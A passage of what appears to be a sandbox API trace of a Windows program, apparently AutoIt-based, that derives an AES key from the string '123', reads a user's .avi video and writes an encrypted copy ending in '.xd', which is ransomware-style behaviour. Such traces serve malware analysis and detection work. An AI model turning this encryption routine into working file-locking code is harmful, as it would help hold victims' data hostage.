(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.901] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.901] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.901] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.901] CryptHashData (hHash=0x164c2b0, pbData=0x16295c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.902] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.902] CryptDeriveKey (in: hProv=0x17a9e78, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0067.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.903] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.903] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.903] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0067.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\10dkicqntsz3u9hzav.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.904] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.904] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.904] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0067.905] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\10dkicqntsz3u9hzav.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.908] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.908] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.910] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6f73, lpOverlapped=0x0) returned 1 [0067.910] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.915] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.917] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.917] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.917] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.917] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.918] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.918] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.918] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.918] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.918] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.919] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.919] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.919] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.919] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.919] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.919] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.920] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.920] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.921] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.921] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16f73, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16f80) returned 1 [0067.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.921] CharLowerBuffW (in: lpsz="byte[94081]", cchLength=0xb | out: lpsz="byte[94081]") returned 0xb [0067.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.924] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.924] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.924] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.926] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.926] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.926] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e7a98*, pdwDataLen=0x130e618*=0x16f73, dwBufLen=0x16f80 | out: pbData=0x17e7a98*, pdwDataLen=0x130e618*=0x16f80) returned 1 [0067.926] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.926] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.927] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.928] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.929] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.929] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.929] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.935] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.935] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.935] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.936] WriteFile (in: hFile=0x3bc, lpBuffer=0x1893f98*, nNumberOfBytesToWrite=0x16f80, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893f98*, lpNumberOfBytesWritten=0x130f01c*=0x16f80, lpOverlapped=0x0) returned 1 [0067.938] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.938] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.938] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.938] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.938] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 